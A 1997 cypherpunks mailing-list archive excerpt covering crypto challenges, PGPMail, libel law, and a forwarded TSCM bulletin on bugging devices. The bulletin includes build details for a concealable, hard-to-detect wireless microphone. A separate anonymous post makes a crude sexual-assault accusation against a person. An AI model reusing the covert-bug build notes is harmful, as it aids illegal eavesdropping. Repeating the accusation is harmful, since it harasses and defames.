Subject: Re: DES challenge status?
In-Reply-To: <32F04A93.59E2@for.address.real>
Message-ID: <199701310335.WAA02650@bushing.plastic.crosslink.net>
MIME-Version: 1.0
Content-Type: text


-----BEGIN PGP SIGNED MESSAGE-----

> 
> Ben Byer wrote:
> > 
> > -----BEGIN PGP SIGNED MESSAGE-----
> > 
> > What exactly is the status of RSA's DES contest?  I understand that at
> > least two of the smaller contests have already been cracked, but I
> > haven't seen much beyond theoretical discussion on the list on the
> > topic of the DES contest.
> > 
> 
> 	Two? The only publicized solution so far is the
> RC5/32/12/5 solution from Ian Goldberg at Berkeley
> (and independently from Germano Caronni at ETH Zürich).
> 
> 	Are you saying that you know that the 48 bit RC5
> contest is solved already, or are you just counting Ian's
> and Germano's solutions separately?

Ooops!  Mea culpa.  That's what I meant.

- -- 
Ben Byer    root@bushing.plastic.crosslink.net    I am not a bushing

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <nobody@squirrel.owl.de>
Date: Thu, 30 Jan 1997 14:59:27 -0800 (PST)
To: cypherpunks@toad.com
Subject: [DSS] Zero-knowledge interactive proofs
Message-ID: <19970130224808.29068.qmail@squirrel.owl.de>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Deflated Viscera has been fired for anally raping
officemates.

   o   \ o /  _ o         __|    \ /     |__        o _  \ o /   o
  /|\    |     /\   ___\o   \o    |    o/    o/__   /\     |    /|\ 
  / \   / \   | \  /)  |    ( \  /o\  / )    |  (\  / |   / \   / \
     Dr.Deflated Viscera






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: azur@netcom.com (Steve Schear)
Date: Thu, 30 Jan 1997 23:08:41 -0800 (PST)
To: cypherpunks@toad.com
Subject: Intelligence Update (fwd)
Message-ID: <v02140b02af1731478ad4@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


>Update on Bugging Devices
>=================================================
>
>0.902 - 0.928 ghz - Popular Commercial FH/DS Devices
>1.710 - 1.755 ghz - DEA Audio/Video Bugs (over 1400 bugs purchased in 1995)
>1.710 - 1.755 ghz - DOJ Audio/Video Bugs (.25 to .50 watts)
>1.710 - 1.850 ghz - Treasury Video Surveillance Systems
>2.400 - 2.484 ghz - Popular Commercial FH/DS Devices
>4.635 - 4.660 ghz - Treasury Video Surveillance Systems
>
>Most recently purchased gvt microwave surveillance gear seems to be running
>between 900mhz to 5ghz, with a few systems operating on the 7/8 ghz bands.
>
>Also, keep in mind that the pros love to use ultra low power devices which
>use the power lines as the transmission medium/antenna (9khz to 300 mhz).
>Devices typically operate below 10mw, often below 1mw. The devices
>typically use Wide FM and use voice inversion encryption... VERY easy to
>demodulate.
>
>Note: According to a recently obtained DOJ surveillance training manual:
>
>"The typical range for the 28 ghz devices is six miles, the typical range
>of the 2.4 ghz is thirty miles, and the typical range for the 1.7ghz  is 44
>miles."
>
>"... frequency modulated applications should operate below 3 ghz to take
>advantage of the favorable frequency propagation characteristics of that
>part of the spectrum."
>
>"...Frequency Hopping and Direct Sequence Devices spead spectrum devices
>should operate above 1.5 ghz, this will prevent the emissions from being
>detected by electronic countermeasures."
>
>The most popular surveillance reciever used covers 9khz (for CC/VLF) up to
>9ghz, so be sure to cover AT LEAST those bands.
>
>=================================================
>
>All TSCM people have heard about AID devices, but few know the actual freq
>they use, or what they look like.
>
>The devices are VERY popular with the law enforcement crowd, private
>investigators and corporate security types. The equipment is VERY overpriced,
>and the fairly easy to detect.
>
>AID bills itself as "The World's Largest Manufacturer of Electronic
>Intelligence Equipment and Specialized Protective Systems"
>
>AID was founded in 1970, and was sold in 92/93 to Westinghouse (Westinghouse is
>currently selling TONS of equipment to the DEA and State dept)
>
>AID - Westinghouse/Audio Intelligence Devices, Inc. Bug Freqs
>
>135 MHz - 150 MHz  Special Order/Secondary Band
>150 MHz - 174 MHz  Standard/Primary Band (Most Popular)
>216 MHz - 220 MHz  Special Order
>400 MHz - 470 MHz  UHF Repeaters
>
> 21 MHz -  80 MHz  Very Low Power WFM (.5mw - 10mw)  Special Order Only
> 36 MHz -  39 MHz  Very Low Power WFM (.5mw - 50mw)  ***Very Dangerous***
> 80 kHz - 200 kHz  "Line Carrier" Microphone Systems ***Very Dangerous***
> 30 kHz - 700 kHz  Spread Spectrum Current Carrier Devices
>
>1700MHz - 1900MHz  25-250mw Video and audio bugs (Mostly DEA/DOJ stuff)
>2400MHz - 2484MHz  25-250mw Video and audio bugs
>
>If the signal is "scrambled" it is nothing more than simple voice inversion,
>a circuit to "de-scramble" costs around $20.
>
>Note: AID devices are often re-tuned for outband channels... so be careful.
>
>The area of spectrum from 15MHz to 500MHz is the primary threat, 500MHz to 3GHz
>is the secondary threat, a "line carrier" threat is from 30kHz to 750kHz.
>
>If the person planting the bug suspects that a TSCM inspection may be
>conducted then AID suggests a frequency between 30MHz to 50MHz,
>sensitivity of rcvr should be better than .18uv/-122dbm. The mode is
>usually wideband FM.
>
>Also, keep in mind that AID devices are frequently used for illegal buggings,
>so be familiar with their realistic specs, expect power outputs well under
>50mw, and expect to see the AC power circuits being used as the antenna.
>
>Note: Mike Langley at NIA advises that AID/NIA/Westinghouse is totally
>shutting down all TSCM training, at that they have cancelled the production
>of all TSCM products effective 1 Jan 97.
>
>=================================================
>
>Several devices were recently found at a DOE facility on Long Island,
>details are a bit sketchy, but initial information indicates that a
>defecting  middle-eastern FIS agent provided a list of locations within
>several DOE facilties that were being targeted.TSCM inspection (not
>performed by DOE) located several devices. Facility/lab working on designs
>for triggering mechanisms... very interesting incident.
>
>=================================================
>
>HDS - Household Data Services
> 50.000 - 750.000 kHz   Carrier Current Audio System
>120.000 - 400.000 kHz   Carrier Current Audio System
>138.000 - 174.000 MHz   Wireless microphone/Body Wires (8KR Series .1 to 30 mw)
>150.000 - 174.000 MHz   Wireless microphone/Body Wires (ATX Series .1 to 30 mw)
>174.000 - 230.000 MHz   Wireless microphone/Body Wires
>350.000 - 440.000 MHz   Audio/Video Transmitters (360-440 popular)
>470.000 - 608.000 MHz   Audio/Video Transmitters
>570.000 - 928.000 MHz   Audio/Video Transmitters (Spread Spectrum Popular)
> 1,000  -  1,500 MHz    Low Power Audio/Video Transmitter (10-100mw max)
> 1,425  -  1,450 MHz    Low Power Audio/Video Transmitter (10-100mw max)
> 1,700  -  2,700 MHz    Audio/Video Transmitters 2.4-2.5 hot (10-100mw max)
> 1,710  -  1,900 MHz    Audio/Video Transmitters (10-100mw max) ** HOT **
> 6,425  -  7,125 MHz    Low Power Audio/Video Transmitter (10-100mw max)
> 8,100  -  8,700 MHz    Audio/Video Transmitter, 8.2/8.5 popular (10-100mw max)
>10,200  - 10,700 MHz    Audio/Video Transmitter, 10.5 popular (10-100mw max)
>17,700  - 19,700 MHz    Low Power Audio/Video Transmitter (10-100mw max)
>20,000  - 24,600 MHz    Low Power Audio/Video Transmitter (10-100mw max)
>
>=================================================
>
>Sony - Wireless Microphones and Body Wires
>470.000 - 489.000 MHz   2.5mw - 20mw, WFM (110kHz), Ultra low power
>770.000 - 782.000 MHz   2.5mw - 10mw, Ultra low power - Chnl 64
>782.000 - 794.000 MHz   2.5mw - 10mw, Ultra low power - Chnl 66
>794.000 - 806.000 MHz   2.5mw - 10mw, Ultra low power - Chnl 68
>770.000 - 810.000 MHz   2.5mw - 20mw, WFM (110kHz), Ultra low power
>902.000 - 928.000 MHz   2.5mw - 20mw, WFM (110kHz), Ultra low power
>947.000 - 954.000 MHz   2.5mw - 20mw, WFM (110kHz), Ultra low power
> 60.000 - 970.000 MHz   2.5mw - 10mw, WFM (300kHz) Audio Transmitter
>
>Note: These little low power devices have an adjustable freq deviation
>which can be adjusted to as high as +/- 225khz... System also uses a
>matched receiver. Entire system xmitter and cvr sell for under $2500.
>
>Imagine a 3mw transmitter operating at 782mhz (snuggled up to the audio of
>the local TV xmitter) using a 100khz cue channel subcarrier. Life
>expectancy at least  350 hours (using lithium cells). Reasonable range at
>least 1500 feet indoors.
>
>=================================================
>
>Finished putting the final touches on a new page
>concerning Mace and Personal Protection Sprays.
>
>Drop by and let me know what you think.
>
>   http://www.tscm.com/mace
>
>
>The ASP - Armament Systems and Procedures Web page is
>now also online, the address follows:
>
>      http://www.tscm.com/asp/
>
>=================================================
>
>BMS manufactures a line of pro-grade products used primarly for the
>Broadcast and Television markets, but their prices are cheap, very small,
>low power, and a serious threat to our clients.
>
>Most of their voice/video/telem products (ie:BMT25-S) operates from
>900mhz-4ghz, and are easily detectable at 10mw and 100mw.
>
>The major threat is from the X-Band, and Ku-Band devices which they sell
>that operate up to 13.5ghz.
>
>Keep in mind the devices are as small as 1.0in x 1.0in x 3.3in, and can be
>run from a 12vdc battery for days, if not weeks.
>
>Most of the devices utilize a variable frequency audio dual sub-carrier
>between 4 to 9 mhz.
>
>They sell small omni directional, and highly directional antenna as well.
>
>=================================================
>
>Intel on Microwave surveillance system (made by AST in MD ??)
>
>Stock Devices
>1.2 to 2.2  ghz
>3.7 to 4.2  ghz
>5.9 to 6.45 ghz
>
>Special Order Devices (1.4 ghz bands)
>1.2 to 2.8  ghz - Justice just bought a bunch of these
>2.2 to 3.8  ghz
>3.2 to 4.8  ghz - State Department item
>4.2 to 5.8  ghz
>5.2 to 6.8  ghz
>
>Tech material mentions product available to 8.5/8.8 ghz
>
>All funtions (including freq) are software controlled,
>
>Direct Sequence output, 60 mhz window for spread spectrum
>
>Device designed to transmit FDM baseband signals from a PBX backplane using
>QAM 64 or 256 modulation.
>
>The box I examined measured 1 * 3.5 * 3 and took power from 8 to 16 vdc (12
>pref).
>
>Output power fixed at 100mw
>
>=================================================
>
>Recently I did some work designing an experimental spread sprectrum
>wireless microphone.
>
>The goal of the project was to see just how small, and how cheaply a
>realistic device could be built.
>
>Initial goal was a device that would use the 47 CFR 15.247 for the ISM band
>from 902 to 928 mhz and an enhancement (jumper change) mode to extend the
>upper frequency range to 954 mhz.
>
>The device would have to have a range of at least 150 feet in a hotel
>building and/or office building (parking lot monitoring).
>
>The device must be small enough to be "dropped in a pocket," concealed in
>the seam of a drape, and placed into furniture.
>
>Device must use consumer (radio shack) batteries.
>
>Device must cost less $100 in materials to build
>
>I felt the above specs would reflect a realistic device.
>
>---------------
>
>1) Battery used was 2ea EPX-76 cells which gave 2.5 to 3 hours of usable
>audio, sub-ed a DL123A lithium which upped the time to over 4 days (and
>still counting)
>
>2) Microphone was two surface mount Seimens hearing aid elements.
>
>3) Spread Spectrum controller was a surface mount WL-9010 from Wireless
>Logic, the chip is a compact stand alone transmitter.
>
>4) Used a Mitsubishi codec chip commonly used in cellular telephone with a
>noise cancelling circuit (this is why two microphones were used).
>
>5) Small pot was used to adjust the output power between .15mw to 65mw
>
>6) All components used where SMT versions, hot flow was used for assembly
>
>7) Entire circuit was assembled on a .30 by .25 inches square double sided
>printed circuit board.
>
>8) PCB soldered directly to battery cap
>
>9) .5 inch long paper clip used as antenna
>
>10) Currently working on a telephone line version.
>
>11) Range at 50mw (legal power limit) tested usable and clear at 260 feet
>(device placed in hotel room, and monitored in the parking lot)
>
>12) Device WAS NOT detectable with an AVCOM 65 until the antenna was within
>8 inches of the device (until a hump started to slightly appear).
>
>
>What doe this tell us?
>
>Spread spectrum devices can be real small, cheaply made, and low power
>using off the shelf products.
>
>Watch that area between 800 mhz and 1 gig
>
>=================================================
>
>We are interested in purchasing old catalogs, training materials, and technical
>documentation used by Audio Intelligence Devices, HDS, and other
>surveillance companies.
>
>Specifically we are looking for:
>
>   Old product catalogs
>   Sales materials picked up at trade shows (IE: NATIA)
>   Training Manuals from National Intelligence Academy
>   Textbooks from National Intelligence Academy
>   Product Owners Manuals
>   Product Service Manuals
>
>We are also interested in purchasing "generations" of materials, so if you
>have ten years worth of old catalogs from the '70s were interested.
>
>Let us know what you've got, and we'll work out cash payment arrangements.
>
>The materials will be used for project that starts in January and will run
>for at least six months.
>
>If you have materials from other technical intelligence schools or
>surveillance we could also be interested.
>
>=================================================
>
>I recently had a chance to examine a new device made by Delft
>Industries.
>
>It is very similar to the X-Band units I've examined,
>except that the frequencies were higher and mods were much
>more subtle.
>
>Small PCB was cemented into the rear of the unit, underneath the regular
>PCB (black rubber covered 1.5 cm * 4cm * .8cm).
>
>Unit consited of a two microphones, compander circuits,
>power supply/regulator, and modulator circuit.
>
>Compander circuit operated dual circuits around 120hz to 15khz.
>
>No external mods to case, only very small variation in power drain,
>no internal battery, several large surface mount caps...
>
>Entire unit double sided surface mount PCB, looks like 4 layers,
>2/3 digital circuitry, 1/3 analog and RF circuitry.
>
>The only mods to the alarm PCB was the cutting of several traces
>on the back of the PCB (near the emitter circuit).
>
>The doppler alarm operated between 24 ghz and 24.25 ghz, intelligence
>seems to be a 480k bit digital data stream using the alarm
>signal as the carrier (QAM mod).
>
>Looks like one version of the product will also allow someone
>to deactivate a specific sensor remotely upon on command.
>
>According to the factory, the units are being shipped into
>Canada and Mexico in quanity, then transported into the
>US in small quantities.
>
>Heavy usage in Texas, New Orleans, Florida, California,
>and Pennsylvania.
>
>Device have already been offered for sale in several
>"spy shops" in New York, and Miami.
>
>- Be Careful Out There
>
>========================================================
>
>You may find it interesting to revist our web site in
>the near future, during the last few months the site has
> undergone incredible growth, copius additions, and changes..
>
>        http://www.tscm.com/
>
>On January 2, 1997 we rolled out several new
>product lines which increased the number of TSCM products
>on our web page to over 1,000 TSCM and technical security
>products.
>
>At the present time we have over 12,500 pages of
>printed documents available for download.
>
>If you haven't reviewed it yet, be advised that we now
>have a TDR tutorial page available online.
>
>        http://www.tscm.com/riserbond.html
>
>
>We've also updated the materials we have online
>regarding the REI OSC-5000
>
>        http://www.tscm.com/reioscor.html
>
>
> ===============================================================
>
>DOJ just took delivery of a large number of video transmitter modules
>
>Operating freqs between 8ghz and 11 ghz (PLL field programmable)
>
>10mw rf output (max), nominal 8.5mw
>
>power draw below 35ma
>
>baseband video trans, not SS
>
>all modules have audio inputs (solder tab), standard audio subcarrier,
>audio section may be disabled to conserve power.
>
>Min. effective (flat array ant) range indicated as 2700 feet line of sight,
>and 1500 rural.
>
>I would estimate the range to be below 500 ft with a unity gain antenna.
>
>A number of the units came preinstalled in fake squirel and
>birds nests with a low light auto iris CCD camera (unk manuf, suspect
>Kodak). I've seen similar units used by the DEA (installed under tree
>bark).
>
>Both unity gain ant config (stub), and biconical flat pack.
>
>Power requirements seem to correlate to 9vdc lithium batteries.
>
>>From what I can see on the physical specs, looks like the transmitter, and
>camera combined are 2/3 the size of a standard 9vdc battery.
>
>The document indicates gvt paid $874 per module (Xmit module only),
>document also mentions req code for the "domestic counterterrorism"
>program.
>
>I wonder if these are the "tree frogs" that the boys at Quantico were
>trying to get bids on, back in September?
>
>It's only a matter of a few months before these devices start getting
>"lost in the field " and start re-appearing in the private sector.
>
> ===============================================================
>
>I've heard from several engineers at TI that an unidentified gvt law
>enforcement agency has them working on a super compact thermal imaging
>system and video transmitter for covert surveillance. System utilizes an
>electronic LCD chopper instead of the regular mechanical chopper. Device
>contains integral microwave tranmitter (unk freq). From what I can gather,
>these are going to be used for conducting long term thermal surveillance of
>areas... I will advise as I obtain further intel.
>
> ===============================================================
>
>Just finished reading the 1997 Hewlett Packards optoelectronics designers
>guide, and found several items of interest.
>
>Most of us are familiar with the low power 900nm I/R devices.
>
>But did you know that they also make CHEAP LED's for communications
>that operate from 700nm to 1510nm??
>
>700, 710, 875, 905, 940, 1100, and 1510nm are the most common products in
>the HEMT line.
>
>Can be modulated (open air) from 0 to 750khz with no problem, and higher speeds
>with some minor distortion.
>
>just a heads up
>
> ===============================================================
>
>We are taking delivery of the first 95S radio's and third generation MSS
>units from Boeing... We are expecting initial shipments to customers mid to
>end of Feb.
>
>The 95S is a stand alone wideband receiver designed for SIGINT and TSCM,
>weighs in at just under 8 lbs (complete). Radio will retail for around
>6,000 and 7,500 dollars (US) depending on config.
>
>While the unit is fully self contained, we will have a VME version avail
>(we have them now). Coverage is a clean from 5khz to 8ghz (yes 8ghz), and
>sensitivity is superior to anything Watkins Johnson makes.
>
>Reciever is being built into the new MSS-3500 briefcase system, which will
>allow automated spectrum monitoring of 40ghz of spectrum in 8/9ghz
>segments.
>
> ===============================================================
>
>Just finished playing with a nasty little Radio Shack (CM-421)
>single channel VHF microphone.
>
>While the product is designed for use in the 160-220 range, it's designed
>so that to be recrystalized and usable anywhere in the world.
>
>The product can be easily retuned from 90-300Mhz (by the book), power
>output is variable via a pot from 5mw to 50mw.
>
>Current drain is around 40ma at 50mw, and much lower for 5mw output.
>
>Product is extremely stable, with adjustable deviations (to +/1 100khz)
>
>Integral tietack microphone
>
>Radio Shack will sell the xmitter only for around
>50 bucks (I bought several to eval)
>
> ===============================================================
>
>Recently had access to some of the new fiber optic devices out there and
>wanted to post some of the techniques by which they can be detected.
>
>
>Subject device optics are made by Corning Glass, and consists of three
>components. The "electronics" are manufactured by E-systems in Dallas, TX.
>
>
>The entire installation kit fits into two 18 * 22 * 7 briefcases made by
>SKB, the first case contains a battery powered automatic fusion
>splicer/LID, equipment to test the installation, and a tool kit. The second
>case contains the microphones, spools of "cable", optical modules,
>controllers, and battery packs
>
>
>1. "Front-End Microphone" is a small glass cylinder roughly 2.5mm wide x
>5mm long with a small 1.5mm long pinhole tube on one end, and a 3 to 12 ft
>50/125 fiber tail on the other. This part of the system is designed to be
>installed "pinhole" style. Pigtail cable is routed to and fusion spliced
>into a "Runner Cable". The microphone contains small barbs to keep it in
>position with out the use of adhesives. A small 2.5mm needle drill bit is
>used to drill the hole.
>
>2. The "Runner Cable" is a 50um/125um fiber optic bundle, typically 3 to 8
>fibers are combined to allow a single runner to support 6-8 devices. This
>cable is flat and measures roughly 125um high, and .75 to 1mm wide. Cable
>has a min. bend radius of 4cm, and is field terminated with a small
>automated fusion splicer to the "Front-End Microphone". This cable can be
>left loose or secured with an adhesive. Installation kit contains a small
>flexible installation tube to assist in installing below carpet or behind
>wood panelling.
>
>3. The "Repeater" consists of a disguised box roughly 15cm x 5cm x 5cm,
>with an optional battery pack/power supply/trickle charger (15cm x 10cm x
>5cm) or the device can be powered directly off of AC Mains. The repeater
>can be easily installed and hidden in a cinder block or concrete on an
>outside wall. It looks like the device is for long term installations, it
>is totally sealed and the electronics have conformal coatings/potting.
>
>Device appears to emit a RF digital signal using 64/128/256 QAM Spread
>Spectrum modulation on programmable frequencies between 1.5ghz and 8.5 ghz.
>Modulator is contained into a "flat-pack" style antenna module. A 512kbps
>baseband signal is supplied to the antenna (bit stream can go as high as
>2mbps, the one I examined was set for 512).
>
>Note: The "repeater" supplies the antenna with a baseband signal, control
>codes, and power. The modulator/transmitter is contained in the antenna.
>
>The device uses an RF guard channel that is used to deactivate all
>emissions (Go Mute) upon remote command.
>
>The "repeater" utilizes 8 fiber outputs (it has 8 field replacable optical
>modules), and one min. SMA connector for the baseband output. Suspect the
>device can also be be uploaded with transmision times. It also contains
>sufficent memory (32mb) to hold a good 4 hours or more of compressed audio.
>
>Repeater can also transmit (Spread Spectrum) over telco or power lines with
>a small adapter (I was not able to secure the frequencies, but I suspect
>somewhere between 200khz and 3 mhz).
>
>
>Device Operation:
>
>System uses a 50/125 Raw fiber optic distribution system, the fiber is
>coated, but not jacketed or buffered in any way. The fiber has a frequency
>response between 1230 to 1550/1710? single mode. I suspect it is standard
>single mode (1500nm) fiber strand.
>
>The "Repeater" contains a low power single mode solid state light source, a
>duplexer/splitter (prism), and a light reciever. The light beam is
>transmitted into the fiber, travels to the "Front-End" where it is is
>reflected against an angled vibrating membrane. The membrane causes a
>slight frequency shift in the light beam, which is reflected back to the
>"Repeater" where it is "picked" off with a prism and solid state detector.
>(typical fiber optic microphone).
>
>
>Counter-Measures:
>
>There is NO METAL in the microphone or fiber distribution system, and they
>CANNOT be detected by a Non-Lin (no non-linear junctions). Nor can they be
>detected with metal detectors, and no electro-magnetic field is present on
>the "Front End".
>
>The "Repeater" section is fairly to detect with a non lin, but since it is
>supposed installed into the outside wall it tends not to be practical. The
>ideal way to detect is to sweep the exterior of the building for RF
>emissions. Also, the unit tends to run VERY hot (110-135 degrees), and
>should be visible as a thermal anomally.
>
>Also, the system can be detected by looking for minute amounts of light
>"leaking" from both the microphone, fusion couplings, and fiber
>distribution system.
>
>The pinhole for the microphone can be detected with a IR visual search
>around 440 to 450nm (you'll need a light source with at least 500,00 candle
>power, the Blue Light Ultra works well, or an Omnichrome).
>
>Once a suspect pinhole is found it can be tested for IR with a conventional
>Spectrum Analyser with a IR front end (the Tektronix SA-42 or SA-46 works
>well). There is always a small amount or IR leakage with this system.
>
>Once the microphone is detected it is a fairly simple matter to trace the
>line back to the controller module or "Repeater"
>
>Keep in mind that the system is designed to use 3 to 8 microphones.
>
>
>I am going to get a look at an OC-12 clamp-on fiber optic tapping system in
>a few weeks and will advise.
>
> ===============================================================
>
>
>As always,
>Please treat this information as highly confidential and
>please do not redistribute, Thank You
>
>
>Regards,
>
>-jma
>
> ===============================================================
>         Train, Observe, Detect, Protect, Defend, Repel
> ===============================================================
>  James M. Atkinson
>  Granite Island Group - TSCM.COM
>  127 Eastern Avenue #291                 http://www.tscm.com/
>  Gloucester, MA 01931-8008                  jmatk@tscm.com
> ===============================================================
>      The First, The Largest, The Most Popular, and the Most
>      Complete TSCM Counterintelligence Site on the Internet
> ===============================================================
>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Thu, 30 Jan 1997 21:26:52 -0800 (PST)
To: cypherpunks@toad.com (Cypherpunks)
Subject: Re: Libel & the 1st Amendment (fwd)
In-Reply-To: <199701310413.WAA00226@einstein>
Message-ID: <199701310523.XAA13320@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Jim Choate wrote:
> 
> 
> Forwarded message:
> 
> > Date: Wed, 29 Jan 1997 10:46:57 -0500 (EST)
> > From: Declan McCullagh <declan@pathfinder.com>
> > 
> > * The 1st Amendment does protect some lies.
> 
> No, it protects speech. The Constitution is meant to protect citizens from a
> priori constraints on their speech, not the results of the content ex post
> facto.
> 
> It is clearly not in the best interest of society to limit opinions or
> fiction.
> 
> > If I say "Jim Choate is a
> > Venusian albatross," the statement is probably (?) a lie,
> 
> No, for it to be a lie there must be a potentiality of its truth. A nonsense
> statement which happens to fit the syntactical rules of a language wouldn't
> qualify.

I can give you an example.

``Jim Choate invented an improved bubble sort method, called BSAM.''

This is undoubtedly false since you likely did not invent any sorting
method. But you would not be able to get any damages (is that correct?)

> The legal standard should be that if you make statements purported to be
> true about a third party without their prior consent you should be held to
> a minimum standard of evidence demonstrating the actuality of your statement.

When you say "should", what do you mean? That the current law will
hold you to a minimum standard of evidence?

Or you mean that it would be nice if it were so?

> A democratic society should have no tolerence for libel, slander, or other
> forms of lies.

Why? And who decides what is a lie?

> > * Many 1st Amendment experts don't believe in the legal concept of libel. 
> > It is, they say, a rich man's game
> 
> Exactly, instead of equal protection under the law we have a specieocracy.

... and then 20 lines later: 

> In civil cases the plaintiff should place a bond, set at some percentage of
> the maximum permissible award, at the time the case is filed. This would at
> least cover the general costs of the court and limit nuisance cases.
> 

You can either oppose "specieocracy" and inequality of rich and
poor in libel litigation, or ask to place bonds that will make even
harder for the poor to sue, BUT NOT BOTH, if you want to remain logical.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Thu, 30 Jan 1997 23:59:49 -0800 (PST)
To: cypherpunks@toad.com
Subject: PGPMail 4.5 Released!
Message-ID: <3.0.1.32.19970130233603.02f98a2c@mail.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

PGPMail 4.5 is now available for ordering from PGP Inc.  

If you have Digicash or a credit card, you can order from the home page.  (I
would not recommend the credit card option though.  The form claims that it
is encrypted with SSL, but the info will be sent in the clear.  Someone needs
to have a talk with their web master...  This is not the first security
problem with their pages.)

In using the betas, I have been pretty impressed.  It works with Eudora
seamlessly.  (Enough that I did not notice that it had installed itself
automatically instead of having to do a seperate install as the documentation
claimed.)  The program beats out any of the plug-ins and front-ends for
integrating PGP and e-mail that I have seen yet.  And for $29.95 for PGP
2.6.2 users, well worth the price...

Disclaimer:
I have no financial stake in PGP Inc, not do I have controling interest in
the financial affairs of Mr. Zimmerman, liens on the souls of the damned,
control of the Aluminum Bavariati, eyes as big as my stomach, or the rites to
reproduce the descriptions of major league baseball games without permission
of the commisioner of Gotham City.

-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQEVAwUBMvGgneQCP3v30CeZAQH6Twf9HiZQKt7j0SaB+bNRfrZv/zM3/K7F019Y
BfLE/OipkeWQQQNDm4KNbz36y58lBhZdXPTuJuyPoICrR3ixNbTz1+DVi3We3ARz
9OspLf74X9hGCw+oJxLTpG2zznBARH6rQ2Bsjh7orvrnvYLlmhjhnEkrShb2BhW6
WuDSdmBfz7yk9iUFVzK6TAcxDv/gLH/hjS6PoTFtwoPKDp9aca4jPzr9scLUhETo
66qPdtLF8TYwzc5+G5/m6w7PJTCf/uyba7OyJ0EYqBDKR4AzqTaL4ZPMUQ8gw1DN
F0O/RhbaJMfRDtTQMNaMjR8tZXtO8fFrnQg9SC0jeoZ0/rhOy+0BnA==
=0TfD
-----END PGP SIGNATURE-----

---
|   If you're not part of the solution, You're part of the precipitate.  |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Fri, 31 Jan 1997 00:22:45 -0800 (PST)
To: Duncan Frissell <frissell@panix.com>
Subject: Re: Cats Out of Bags
In-Reply-To: <199701292343.PAA16370@toad.com>
Message-ID: <3.0.1.32.19970131001044.002e58b8@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


> "When I talk to other governments," [David L. Aaron] said, 
> "they still don't feel that the cat is out of the bag."

Aaron's denying that the cat is out of the bag?
He was fashionably dressed in a Lion Tamer's outfit,
waving a whip, and trying to herd hundreds of small furry mammals
to jump through a hoop and back into a clawed-up army duffel-bag!
"Cats?  Haven't seen any cats around here!  Pay no attention to these,umm,
Siberian Hamsters that I'm evaluating for export approval."

> "Other governments were upset with the 56-bit export allowance. 
> They said it was going to undermine their national security."

On this point, the other governments are correct.
It really _is_ tougher to maintain a nation-state when your
former subjects can have private conversations with each other
and with other governments' former subjects......
And even 56 bits is a start.



#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Thu, 30 Jan 1997 22:24:32 -0800 (PST)
To: cypherpunks@toad.com
Subject: (no subject)
Message-ID: <32F1AC90.799F@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


12251227





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Thu, 30 Jan 1997 23:30:45 -0800 (PST)
To: "William H. Geiger III" <whgiii@amaranth.com>
Subject: Re: Workaround for filtering/cybersitter
In-Reply-To: <199701301237.MAA26312@mailhub.amaranth.com>
Message-ID: <32F1BC58.4A8C@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


William H. Geiger III wrote:

> Whenever I did decide to prosecute someone I would make it a big public show
> for everyone to see with very stiff penalties.

  Like unsubscribing Dr. Vulis.

> After several of these trails the "sheep
> factor" will keep 99% of the population in line (US Crypto policy is a prime example).

  The cypherpunks-censored list is another example.
   
> The point I am trying to make is that for the censor his set-up does not need to be that
> sophisticated as fear and intimidation will keep 99% of the
> rank-and-file in line. As for the other 1%, well they already know who they are and new
> laws will only help take care of that "problem".

  No one seems to be calling Sandy's moderation overly sophisticated.

Toto





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Robert Rothenburg 'Walking-Owl'" <WlkngOwl@unix.asb.com>
Date: Thu, 30 Jan 1997 23:23:58 -0800 (PST)
To: Mail45 <mail45bugs@pgp.com>
Subject: Log File a security hole?
Message-ID: <199701310746.CAA27896@unix.asb.com>
MIME-Version: 1.0
Content-Type: text/plain


Is there a way to disable the \WINDOWS\PGPW_32.LOG?
In subtle ways it's a security hole if left to accumulate over time,
since it keeps records of which keys you encrypted messages to.

(Imagine somebody using an anonymous remailer but g-d forbid is 
unaware of this log file, and somebody discovers that messages were 
encrypted to such a beast...)

I understand in certain group/corporate environs one would want 
logging; in others, one doesn't need it or should have the option (in 
an easily found place) to wipe it every once in a while.




-----
"The word to kill ain't dirty     | Robert Rothenburg (WlkngOwl@unix.asb.com)
 I used it in the last line       | http://www.asb.com/usr/wlkngowl/
 but use a short word for lovin'  | Se habla PGP:  Reply with the subject
 and dad you wind up doin' time." | 'send pgp-key' for my public key.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: digitalis@alias.cyberpass.net
Date: Fri, 31 Jan 1997 02:48:33 -0800 (PST)
To: cypherpunks@toad.com
Subject: PGPMail Log File
Message-ID: <199701311023.CAA26008@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain


At 02:22 AM 1/31/97 +0000, "Robert Rothenburg 'Walking-Owl'" 

< WlkngOwl@unix.asb.comwrote:
> Is there a way to disable the \WINDOWS\PGPW_32.LOG?
